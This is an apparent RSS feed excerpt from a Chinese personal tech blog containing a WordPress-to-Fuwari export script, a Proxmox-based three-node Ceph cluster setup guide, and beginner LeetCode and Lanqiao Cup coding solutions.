                    resp = self.session.get(url, timeout=Config.TIMEOUT)

                    if resp.status_code == 200 and len(resp.content) &amp;gt; 100:

                        filepath = os.path.join(Config.IMAGES_DIR, filename)

                        with open(filepath, &apos;wb&apos;) as f:

                            f.write(resp.content)

                        self.downloaded.add(filename)

                        print(f&quot;      ↓ {filename}&quot;)

                        saved = True

                        break

                except Exception:

                    continue

            if not saved:

                self.failed.append((filename, orig_url))

                print(f&quot;      ✗ {filename} (下载失败)&quot;)

# ==================== 主导出逻辑 ====================

def export_posts():

    &quot;&quot;&quot;导出 WordPress 文章&quot;&quot;&quot;

    # 验证配置

    if not all([Config.WP_URL, Config.WP_USER, Config.WP_PASS]):

        print(&quot;错误: 请配置 WP_URL, WP_USER, WP_PASS&quot;)

        print(&quot;示例: python wp2fuwari.py --url https://blog.com --user admin --pass secret&quot;)

        sys.exit(1)

    ensure_dirs()

    h = init_html2text()

    downloader = ImageDownloader()

    # 连接 WordPress

    print(f&quot;连接 {Config.WP_URL} ...&quot;)

    try:

        wp = Client(f&quot;{Config.WP_URL}/xmlrpc.php&quot;, Config.WP_USER, Config.WP_PASS)

    except Exception as e:

        print(f&quot;连接失败: {e}&quot;)

        sys.exit(1)

    # 获取文章

    print(&quot;获取文章列表...&quot;)

    posts = wp.call(GetPosts({

        &apos;post_type&apos;: &apos;post&apos;,

        &apos;post_status&apos;: &apos;publish&apos;,

        &apos;number&apos;: 1000

    }))

    print(f&quot;找到 {len(posts)} 篇文章\n&quot;)

    # 处理每篇文章

    success = 0

    failed = 0

    for i, post in enumerate(posts, 1):

        try:

            title_display = post.title[:40] if len(post.title) &amp;gt; 40 else post.title

            print(f&quot;[{i}/{len(posts)}] {title_display}...&quot;)

            # HTML 转 Markdown

            md_content = h.handle(post.content)

            # 清理 WordPress Gutenberg 块标记

            md_content = re.sub(r&apos;&amp;lt;!--\s*wp:\w+(\s+[^&amp;gt;]*)?\s*--&amp;gt;&apos;, &apos;&apos;, md_content)

            md_content = re.sub(r&apos;&amp;lt;!--\s*/wp:\w+\s*--&amp;gt;&apos;, &apos;&apos;, md_content)

            md_content = re.sub(r&apos;class=&quot;[^&quot;]*&quot;&apos;, &apos;&apos;, md_content)  # 移除空 class

            md_content = html.unescape(md_content)  # 解码 HTML 实体

            md_content = re.sub(r&apos;\n{3,}&apos;, &apos;\n\n&apos;, md_content)  # 清理多余空行

            # 处理图片

            md_content, cover, image_map = downloader.extract_images(md_content, post.date)

            # 构建 frontmatter (Fuwari 格式)

            # 使用 datetime 对象，frontmatter 会输出为无引号的日期格式

            published_date = post.date.replace(tzinfo=None)

            updated_date = (

                post.date_modified.replace(tzinfo=None)

                if hasattr(post, &apos;date_modified&apos;) and post.date_modified

                else post.date.replace(tzinfo=None)

            )

            metadata = {

                &apos;title&apos;: post.title.strip(),

                &apos;published&apos;: published_date,

                &apos;updated&apos;: updated_date,

                &apos;description&apos;: extract_description(post.content, post.excerpt),

                &apos;author&apos;: Config.AUTHOR,

                &apos;category&apos;: post.terms[0].name if post.terms else &apos;uncategorized&apos;,

                &apos;tags&apos;: [t.name for t in post.terms if hasattr(t, &apos;taxonomy&apos;) and t.taxonomy == &apos;post_tag&apos;] or [],

                &apos;cover&apos;: cover,

                &apos;draft&apos;: False,

            }

            # 创建 Markdown 文件

            md_file = frontmatter.Post(md_content, **metadata)

            slug = clean_slug(post.title)

            filename = f&quot;{post.date.strftime(&apos;%Y-%m-%d&apos;)}-{slug}.md&quot;

            filepath = os.path.join(Config.POSTS_DIR, filename)

            fm_string = frontmatter.dumps(md_file, allow_unicode=True)

            with open(filepath, &apos;w&apos;, encoding=&apos;utf-8&apos;) as f:

                f.write(fm_string)

            # 下载图片

            if image_map:

                print(f&quot;    发现 {len(image_map)} 张图片&quot;)

                downloader.download(image_map, post.date)

            success += 1

        except Exception as e:

            print(f&quot;    ✗ 失败: {e}&quot;)

            failed += 1

    # 统计

    sep_line = &apos;=&apos; * 50

    print(f&quot;\n{sep_line}&quot;)

    print(&quot;导出完成!&quot;)

    print(f&quot;成功: {success} | 失败: {failed}&quot;)

    print(f&quot;图片: {len(downloader.downloaded)} 成功, {len(downloader.failed)} 失败&quot;)

    print(f&quot;输出: {os.path.abspath(Config.OUTPUT_DIR)}&quot;)

    # 写入失败日志

    if downloader.failed:

        log_path = f&apos;{Config.OUTPUT_DIR}/failed_images.txt&apos;

        with open(log_path, &apos;w&apos;, encoding=&apos;utf-8&apos;) as f:

            for name, url in downloader.failed:

                f.write(f&quot;{name}\t{url}\n&quot;)

        print(f&quot;失败列表: {log_path}&quot;)

    def process_failed_images():

        &quot;&quot;&quot;处理失败图片列表中的 base64 编码图片&quot;&quot;&quot;

        failed_log_path = f&apos;{Config.OUTPUT_DIR}/failed_images.txt&apos;

        if not os.path.exists(failed_log_path):

            return

        print(f&quot;\n处理失败图片列表中的 base64 图片...&quot;)

        with open(failed_log_path, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:

            lines = f.readlines()

        processed = []

        failed_again = []

        for line in lines:

            line = line.strip()

            if not line or &apos;\t&apos; not in line:

                continue

            filename, url_or_data = line.split(&apos;\t&apos;, 1)

            # 检查是否是 base64 编码

            if &apos;base64,&apos; in url_or_data:

                try:

                    # 提取 base64 数据

                    base64_data = url_or_data.split(&apos;base64,&apos;)[1]

                    import base64

                    image_data = base64.b64decode(base64_data)

                    # 保存图片

                    filepath = os.path.join(Config.IMAGES_DIR, filename)

                    with open(filepath, &apos;wb&apos;) as f:

                        f.write(image_data)

                    print(f&quot;  ✓ {filename} (base64 decoded)&quot;)

                    processed.append(filename)

                except Exception as e:

                    print(f&quot;  ✗ {filename} (base64 decode failed: {e})&quot;)

                    failed_again.append(line)

            else:

                # 保留非 base64 的失败记录

                failed_again.append(line)

        # 更新失败列表

        if failed_again:

            with open(failed_log_path, &apos;w&apos;, encoding=&apos;utf-8&apos;) as f:

                for line in failed_again:

                    f.write(line + &apos;\n&apos;)

            print(f&quot;剩余 {len(failed_again)} 个图片仍需手动处理&quot;)

        else:

            os.remove(failed_log_path)

            print(&quot;所有失败图片已处理完成&quot;)

        return processed

        # 在 export_posts() 函数末尾、sys.exit(0) 之前调用

        # 位置：在 &quot;下一步提示&quot; 之后

        # 处理 base64 编码的失败图片

        process_failed_images()

    # 下一步提示

    print(f&quot;\n下一步:&quot;)

    print(f&quot;  1. cp -r {Config.POSTS_DIR}/* fuwari/src/content/posts/&quot;)

    print(f&quot;  2. cp -r {Config.IMAGES_DIR}/* fuwari/public/images/&quot;)

    print(&quot;  3. cd fuwari &amp;amp;&amp;amp; pnpm build&quot;)

# ==================== 命令行入口 ====================

def main():

    parser = argparse.ArgumentParser(description=&apos;WordPress 迁移到 Fuwari&apos;)

    parser.add_argument(&apos;--url&apos;, help=&apos;WordPress 站点 URL&apos;)

    parser.add_argument(&apos;--user&apos;, help=&apos;用户名&apos;)

    parser.add_argument(&apos;--pass&apos;, dest=&apos;password&apos;, help=&apos;密码&apos;)

    parser.add_argument(&apos;--output&apos;, default=&apos;fuwari-export&apos;, help=&apos;输出目录&apos;)

    parser.add_argument(&apos;--author&apos;, default=None, help=&apos;作者名 (如果不指定则使用 Config.AUTHOR)&apos;)

    parser.add_argument(&apos;--no-images&apos;, action=&apos;store_true&apos;, help=&apos;不下载图片&apos;)

    args = parser.parse_args()

    # 应用命令行参数

    if args.url:

        Config.WP_URL = args.url

    if args.user:

        Config.WP_USER = args.user

    if args.password:

        Config.WP_PASS = args.password

    Config.OUTPUT_DIR = args.output

    Config.POSTS_DIR = f&apos;{args.output}/posts&apos;

    Config.IMAGES_DIR = f&apos;{args.output}/images&apos;

    # 只在命令行指定了作者时才覆盖配置

    if args.author:

        Config.AUTHOR = args.author

    Config.DOWNLOAD_IMAGES = not args.no_images

    export_posts()

if __name__ == &apos;__main__&apos;:

    main()

&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
</content:encoded></item><item><title>部署Ceph集群</title><link>https://blog.fiveqm.com/archives/%E4%B8%89%E8%8A%82%E7%82%B9ceph%E9%9B%86%E7%BE%A4/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/%E4%B8%89%E8%8A%82%E7%82%B9ceph%E9%9B%86%E7%BE%A4/</guid><description>一次基于PVE9.1部署Ceph集群的尝试</description><pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. 前置配置&lt;/h2&gt;
&lt;p&gt;使用PVE创建Debian13虚拟机（创建了一个模板克隆出来了三台虚拟机分别为&lt;strong&gt;Ceph-1&lt;/strong&gt;、&lt;strong&gt;Ceph-2&lt;/strong&gt;、&lt;strong&gt;Ceph-3&lt;/strong&gt;）&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;VMID&lt;/th&gt;
&lt;th&gt;Hostname&lt;/th&gt;
&lt;th&gt;IP&lt;/th&gt;
&lt;th&gt;Hardware&lt;/th&gt;
&lt;th&gt;Disk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;101&lt;/td&gt;
&lt;td&gt;ceph-1&lt;/td&gt;
&lt;td&gt;10.5.0.1&lt;/td&gt;
&lt;td&gt;4C8G&lt;/td&gt;
&lt;td&gt;32G ( System) + 310G( OSD )&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;102&lt;/td&gt;
&lt;td&gt;ceph-2&lt;/td&gt;
&lt;td&gt;10.5.0.2&lt;/td&gt;
&lt;td&gt;4C8G&lt;/td&gt;
&lt;td&gt;32G ( System) + 310G( OSD )&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;103&lt;/td&gt;
&lt;td&gt;ceph-3&lt;/td&gt;
&lt;td&gt;10.5.0.3&lt;/td&gt;
&lt;td&gt;4C8G&lt;/td&gt;
&lt;td&gt;32G ( System) + 310G( OSD )&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;我这里将一块1T的HDD (TOSHIBA MG03ACA100) 分成三个310G直通给虚拟机作为Ceph的OSD&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#列举磁盘
lsblk -o NAME,SIZE,TYPE,MODEL
sda   931.5G disk 硬盘型号 #sdx 中的x代表每个大体都不一样，比如我这里是a，但是一般的sda都是系统盘但是我这是系统盘是sdb，硬盘型号为对应具体的硬盘的硬盘型号

# 安装parted
apt install parted

# 清空磁盘并建立GPT分区
wipefs -a /dev/sda
parted /dev/sda --script mklabel gpt

#划分 3 个 310G 分区
parted /dev/sda --script \
  mkpart &quot;ceph-data-1&quot; xfs 1MiB 310GiB \
  mkpart &quot;ceph-data-2&quot; xfs 310GiB 620GiB \
  mkpart &quot;ceph-data-3&quot; xfs 620GiB 930GiB \
  mkpart &quot;reserved&quot; xfs 930GiB 100%
  
#检查分区情况
lsblk /dev/sda
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINTS
sda      8:0    0 931.5G  0 disk
├─sda1   8:1    0   310G  0 part
├─sda2   8:2    0   310G  0 part
├─sda3   8:3    0   310G  0 part
└─sda4   8:4    0   1.5G  0 part

#获取by-id
ls -l /dev/disk/by-id/ | grep sda
lrwxrwxrwx 1 root root  9 Feb 10 13:04 (by-id) -&amp;gt;          ../../sda
lrwxrwxrwx 1 root root 10 Feb 10 18:27 (by-id)-part1 -&amp;gt;    ../../sda1
lrwxrwxrwx 1 root root 10 Feb 10 18:27 (by-id)-part2 -&amp;gt;    ../../sda2
lrwxrwxrwx 1 root root 10 Feb 10 18:27 (by-id)-part3 -&amp;gt;    ../../sda3
lrwxrwxrwx 1 root root 10 Feb 10 18:27 (by-id)-part4 -&amp;gt;    ../../sda4

#将分区直通给虚拟机
qm set 101 -scsi1 /dev/disk/by-id/(by-id)-part1
qm set 102 -scsi1 /dev/disk/by-id/(by-id)-part2
qm set 103 -scsi1 /dev/disk/by-id/(by-id)-part3
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2. 配置Host并安装cephadm和其他依赖&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#设置 hostname
#Ceph-1
hostnamectl set-hostname ceph-1
#Ceph-2
hostnamectl set-hostname ceph-2
#Ceph-3
hostnamectl set-hostname ceph-3

#修改Hosts文件
nano /etc/hosts
10.5.0.1  ceph-1
10.5.0.2  ceph-2
10.5.0.3  ceph-3
#请同时修改127.0.1.1的host

#时间同步
apt update &amp;amp;&amp;amp; apt install chrony
systemctl enable --now chrony

#安装cephadm和llvm
apt update &amp;amp;&amp;amp; apt install cephadm #在管理节点执行，我这里管理节点是ceph-1，也可以同时安装ceph-common
#在其他节点执行
apt install -y podman lvm2 #podman可以换成docker
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. 引导集群 (Bootstrap)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#在管理节点
cephadm bootstrap \
  --mon-ip 10.5.0.1 \
  --initial-dashboard-user admin \
  --initial-dashboard-password &apos;StrongPass123!&apos;
#可以使用--image quay.io/ceph/ceph:v19 指定镜像版本 默认为quay.io/ceph/ceph:v18
#也可不指定 initial-dashboard-user 和 initial-dashboard-password
#如果 hostname -f 和 hostname -s 输出的结果不同可加上 --allow-fqdn-hostname 参数
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. 分发SSH公钥&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#可以将管理节点上的 /etc/ceph/ceph.pub 追加到其他节点的 /root/.ssh/authorized_keys 中
#也可以使用 ssh-copy-id 
ssh-copy-id -f -i /etc/ceph/ceph.pub root@ceph-2
ssh-copy-id -f -i /etc/ceph/ceph.pub root@ceph-3
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. 将节点添加到集群&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#进入 Ceph Shell
cephadm shell

#添加主机
ceph orch host add ceph-2 10.5.0.2
ceph orch host add ceph-3 10.5.0.3

#验证主机列表
ceph orch host ls
HOST    ADDR            LABELS  STATUS
ceph-1  10.5.0.1  _admin
ceph-2  10.5.0.2
ceph-3  10.5.0.3

#退出Ceph Shell
exit
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. 添加存储 (OSD)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#进入 Ceph Shell
cephadm shell

#方式A：一键添加所有可用磁盘，这会将所有节点上空的、未分区的磁盘都做成 OSD
ceph orch apply osd --all-available-devices
#方式B：指定特定磁盘，精确控制，例如只使用 ceph-1 的 /dev/sdb 请按照实际情况调整
ceph orch daemon add osd ceph-1:/dev/sdb
ceph orch daemon add osd ceph-2:/dev/sdb
ceph orch daemon add osd ceph-3:/dev/sdb

#查看 OSD 状态
ceph osd tree
ID  CLASS  WEIGHT   TYPE NAME        STATUS  REWEIGHT  PRI-AFF
-1         0.90807  root default
-3         0.30269      host ceph-1
 0    hdd  0.30269          osd.0        up   1.00000  1.00000
-5         0.30269      host ceph-2
 1    hdd  0.30269          osd.1        up   1.00000  1.00000
-7         0.30269      host ceph-3
 2    hdd  0.30269          osd.2        up   1.00000  1.00000
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. 部署服务 (MDS, RGW 等)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#部署 CephFS (文件存储)
ceph orch apply mds fs_name --placement=&quot;3 ceph-1 ceph-2 ceph-3&quot;

#部署 RGW (对象存储)
ceph orch apply rgw realm_name --placement=&quot;3 ceph-1 ceph-2 ceph-3&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8. 创建存储池&lt;/h2&gt;
&lt;p&gt;在 Ceph 中创建存储池（Pool）通常分为两个步骤：&lt;strong&gt;创建池&lt;/strong&gt; 和 &lt;strong&gt;指定应用类型&lt;/strong&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建一个通用存储池 (最常用)
这是最基础的创建方式，适用于大多数情况（如 RBD 块存储）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;创建池
默认情况下，Ceph 使用&lt;strong&gt;3副本&lt;/strong&gt;模式。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 语法: ceph osd pool create &amp;lt;池名字&amp;gt;
ceph osd pool create mypool
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;初始化应用类型
如果不执行这一步，集群会显示 &lt;code&gt;HEALTH_WARN&lt;/code&gt;，提示 &lt;code&gt;application not enabled on 1 pool(s)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;你需要告诉 Ceph 这个池是用来干什么的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;rbd&lt;/strong&gt;: 虚拟机、块设备&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cephfs&lt;/strong&gt;: 文件系统&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;rgw&lt;/strong&gt;: 对象存储&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# 语法: ceph osd pool application enable &amp;lt;池名字&amp;gt; &amp;lt;应用类型&amp;gt;
ceph osd pool application enable mypool rbd
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;为 CephFS 创建存储池&lt;/p&gt;
&lt;p&gt;部署 CephFS（文件系统），&lt;strong&gt;必须至少创建两个池&lt;/strong&gt;：一个用于存储数据，一个用于存储元数据。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 1. 创建数据池
ceph osd pool create cephfs_data
ceph osd pool application enable cephfs_data cephfs

# 2. 创建元数据池
ceph osd pool create cephfs_metadata
ceph osd pool application enable cephfs_metadata cephfs

# 3. 创建文件系统 (关联这两个池)
# 语法: ceph fs new &amp;lt;fs_name&amp;gt; &amp;lt;metadata_pool&amp;gt; &amp;lt;data_pool&amp;gt;
ceph fs new myfs cephfs_metadata cephfs_data
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;修改副本数 (适用于小规模集群)&lt;/p&gt;
&lt;p&gt;默认的 Ceph 池配置是 &lt;strong&gt;Size=3&lt;/strong&gt; (存3份数据) 且 &lt;strong&gt;Min_size=2&lt;/strong&gt; (最少2份数据才允许写)。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;如果你只有 1 台或 2 台 OSD 节点&lt;/strong&gt;，默认配置会导致集群无法达到 &lt;code&gt;HEALTH_OK&lt;/code&gt; 甚至无法写入。需要修改副本数：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 只有 1 个节点/OSD 的测试环境：
ceph osd pool set mypool size 1
ceph osd pool set mypool min_size 1

# 只有 2 个节点/OSD 的环境：
ceph osd pool set mypool size 2
ceph osd pool set mypool min_size 1
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;9. 常用管理命令&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;#查看所有池
ceph osd pool ls detail

# 或者查看更详细的使用情况：
ceph df

#删除存储池，为了防止误删，Ceph 默认禁止删除池。必须先允许删除，再执行删除操作。
#允许删除 (临时的)
ceph tell mon.* injectargs --mon_allow_pool_delete=true

#删除池 (需要重复确认池名字)
# 语法: ceph osd pool delete &amp;lt;池名&amp;gt; &amp;lt;池名&amp;gt; --yes-i-really-really-mean-it
ceph osd pool delete mypool mypool --yes-i-really-really-mean-it

#验证操作，创建完成后，检查集群状态：
ceph -s
#只要没有 PGs are degraded/undersized 之类的错误，且状态为 HEALTH_OK，说明池创建成功且数据分布正常。

#升级ceph
#可选备份
cp /etc/ceph/ceph.conf /etc/ceph/ceph.conf.bak 
cp /etc/ceph/ceph.pub /etc/ceph/ceph.pub.bak
#例如从18升级到19SS
ceph orch upgrade start --image quay.io/ceph/ceph:v19
ceph osd require-osd-release squid #启用新特新，启用后无法回滚降级
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>leetcode 刷题记录1</title><link>https://blog.fiveqm.com/archives/566/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/566/</guid><description>66. 加一 给定一个表示 大整数 的整数数组 digits，其中 digitsi 是整数的第 i 位数字。这些数字按从左到右，从最高位到最低位排列。这个大整数不包含任何前导 0。 将大整数加 1，并返回结果的数字数组。 class Solutionobject: def plusOneself, ...</description><pubDate>Mon, 21 Jul 2025 12:22:38 GMT</pubDate><content:encoded>&lt;h2&gt;66. 加一&lt;/h2&gt;
&lt;p&gt;给定一个表示 &lt;strong&gt;大整数&lt;/strong&gt;  的整数数组 &lt;code&gt;digits&lt;/code&gt;，其中 &lt;code&gt;digits[i]&lt;/code&gt; 是整数的第 &lt;code&gt;i&lt;/code&gt; 位数字。这些数字按从左到右，从最高位到最低位排列。这个大整数不包含任何前导 &lt;code&gt;0&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;将大整数加 1，并返回结果的数字数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution(object):
    def plusOne(self, digits):
        &quot;&quot;&quot;
        :type digits: List[int]
        :rtype: List[int]
        &quot;&quot;&quot;
        a=&quot;&quot;
        b = []
        c= 0
        for i in digits:
            a+=str(i)
        c = int(a) +1
        for i in str(c):
            b.append(int(i))
        
        return b
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1957. 删除字符使字符串变好&lt;/h2&gt;
&lt;p&gt;一个字符串如果没有 &lt;strong&gt;三个连续&lt;/strong&gt;  相同字符，那么它就是一个 &lt;strong&gt;好字符串&lt;/strong&gt;  。&lt;/p&gt;
&lt;p&gt;给你一个字符串 &lt;code&gt;s&lt;/code&gt; ，请你从 &lt;code&gt;s&lt;/code&gt; 删除 &lt;strong&gt;最少&lt;/strong&gt;  的字符，使它变成一个 &lt;strong&gt;好字符串&lt;/strong&gt;  。&lt;/p&gt;
&lt;p&gt;请你返回删除后的字符串。题目数据保证答案总是 **唯一的  **。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution(object):
    def makeFancyString(self, s):
        &quot;&quot;&quot;
        :type s: str
        :rtype: str
        &quot;&quot;&quot;
        res = &quot;&quot;
        for i in range(len(s)):
            if i&amp;gt;1:
                if s[i] == s[i-1] and s[i] == s[i-2]:
                    pass
                else:
                    res +=s[i]
            else:
                res +=s[i]
        return res
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;a href=&quot;https://leetcode.cn/problems/maximum-erasure-value/&quot;&gt;1695. 删除子数组的最大得分&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;给你一个正整数数组 &lt;code&gt;nums&lt;/code&gt; ，请你从中删除一个含有 &lt;strong&gt;若干不同元素&lt;/strong&gt;  的子数组**。** 删除子数组的 &lt;strong&gt;得分&lt;/strong&gt;  就是子数组各元素之 &lt;strong&gt;和&lt;/strong&gt;  。&lt;/p&gt;
&lt;p&gt;返回 &lt;strong&gt;只删除一个&lt;/strong&gt;  子数组可获得的 &lt;strong&gt;最大得分&lt;/strong&gt; _  。_&lt;/p&gt;
&lt;p&gt;如果数组 &lt;code&gt;b&lt;/code&gt; 是数组 &lt;code&gt;a&lt;/code&gt; 的一个连续子序列，即如果它等于 &lt;code&gt;a[l],a[l+1],...,a[r]&lt;/code&gt; ，那么它就是 &lt;code&gt;a&lt;/code&gt; 的一个子数组。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Solution(object):
    def maximumUniqueSubarray(self, nums):
        current_sum = 0
        max_sum = 0

        seen = set()#初始化一个空集合，记录当前窗口内的元素（用于去重）,什么都没有
        left = 0
        for right in range(len(nums)):
            while nums[right] in seen:
                seen.remove(nums[left])
                current_sum -= nums[left]
                left += 1
            seen.add(nums[right])
            current_sum += nums[right]
            max_sum = max(max_sum,current_sum)

        &quot;&quot;&quot;

        nums:     [4, 2, 4, 5, 6]
        index:     0  1  2  3  4
                    ↑     ↑
                left   right
        seen = {2, 4}
        left 默认为第一个元素,right 从第一个开始遍历
        默认将right 遍历的nums 的元素 添加进set创建的空集合里
        当nums[right] 遍历到一个元素已经存在在set创建的空集合里
        也就是说出现了重复的元素并且这个这个元素与nums[left]重复
        seen.remove(nums[left]) 删除旧的重复的元素
        举例子就是 当nums[right]遍历到nums[2] 时值为4 但是与nums[left]也就是nums[0]重复
        使用seen.remove(nums[left]) 删除掉set创造的集合里的nums[0] 也就是seen[0]
        使得  seen = {4, 2} --&amp;gt; seen = {2, 4}
        然后left++ 继续循环

        &quot;&quot;&quot;
        return max_sum
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>蓝桥杯web刷题记录2</title><link>https://blog.fiveqm.com/archives/545/</link><guid isPermaLink="true">https://blog.fiveqm.com/archives/545/</guid><description>【算法题】小兔子爬楼梯 const climbStairs = n =&gt; { ifn &lt;=2 { return n } else { return climbStairsn-1 + climbStairsn-2 } } module.exports = climbStairs; 非常好的递归入门 【...</description><pubDate>Mon, 21 Jul 2025 09:06:45 GMT</pubDate><content:encoded>&lt;h2&gt;【算法题】小兔子爬楼梯&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;const climbStairs = (n) =&amp;gt; {
    if(n &amp;lt;=2 ){
        return n
    } else {
        return climbStairs(n-1) + climbStairs(n-2)
    }
 
}
module.exports = climbStairs; 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;非常好的递归入门&lt;/p&gt;
&lt;h2&gt;【功能实现】购物车&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;

&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&amp;gt;
	&amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
	&amp;lt;title&amp;gt;购物车&amp;lt;/title&amp;gt;
	&amp;lt;script src=&quot;./js/vue.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
	&amp;lt;script src=&quot;./js/axios.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
	&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;./css/element-ui.css&quot;&amp;gt;
	&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;./css/index.css&quot;&amp;gt;
&amp;lt;/head&amp;gt;

&amp;lt;body&amp;gt;
	&amp;lt;div  id=&quot;app&quot;&amp;gt;
		&amp;lt;h4&amp;gt;购物车&amp;lt;/h4&amp;gt;
		&amp;lt;!-- 购物车列表 --&amp;gt;
		&amp;lt;div&amp;gt;
			&amp;lt;el-card  v-for=&quot;(item,index) in carlist&quot; :key=&quot;index&quot;&amp;gt;
				&amp;lt;!-- 商品图片 --&amp;gt;
				&amp;lt;img :src=&quot;item.img&quot;&amp;gt;
				&amp;lt;div&amp;gt;

					&amp;lt;span&amp;gt;
						&amp;lt;!-- 商品名称 --&amp;gt;
						{{ item.name }}
					&amp;lt;/span&amp;gt;
					&amp;lt;div &amp;gt;
						&amp;lt;el-button type=&quot;text&quot; &amp;gt;+&amp;lt;/el-button&amp;gt;
						&amp;lt;el-button type=&quot;text&quot; &amp;gt;
							&amp;lt;!-- 商品数量 --&amp;gt;
							{{item.num}}
						&amp;lt;/el-button&amp;gt;
						&amp;lt;el-button type=&quot;text&quot; &amp;gt;-&amp;lt;/el-button&amp;gt;
					&amp;lt;/div&amp;gt;
				&amp;lt;/div&amp;gt;
			&amp;lt;/el-card&amp;gt;
		&amp;lt;/div&amp;gt;
	&amp;lt;/div&amp;gt;
	&amp;lt;/div&amp;gt;

	&amp;lt;!-- 引入组件库 --&amp;gt;
	&amp;lt;script src=&quot;./js/element-ui.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
	&amp;lt;script&amp;gt;
		new Vue({
			el: &quot;#app&quot;,
			data: {
				carlist: [] //购物车列表
			},
			created() {
				// 在这里使用axios 发送请求
				axios.get(&quot;carList.json&quot;).then((res)=&amp;gt;{
					this.carlist = res.data
				})
			},
		})


	&amp;lt;/script&amp;gt;
&amp;lt;/body&amp;gt;


&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;【算法实现】随机数生成器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/**
 * 封装函数，函数名 getRandomNum(min,max,countNum)
 * 生成 min~max 范围的 countNum 个不重复的随机数，存入数组并返回
 */
//生成指定数目和范围的随机数
const getRandomNum = function(min,max,countNum){
    var arr = [];
    function red(){
        let res = Math.floor(Math.random()*(max-min+1))+min 
        // Math.random() * (max - min + 1)
        // 生成一个在 [0, max - min + 1) 的小数
        // 比如：min = 3, max = 7，就变成 [0, 5)
        // 最后 + min 把上一步的 0~(max-min) 映射成 min~max。
        return res
    }
    for(let i = 0;i&amp;lt;countNum;i++){
        let ress = red()
        if(!arr.includes(ress)){
            arr.push(ress)
        }
    }
    return arr;
}
module.exports = getRandomNum; //请勿删除
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;echarts 柱形图&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;

&amp;lt;head&amp;gt;
	&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;meta http-equiv=&quot;X-UA-Compatible&quot; content=&quot;IE=edge&quot;&amp;gt;
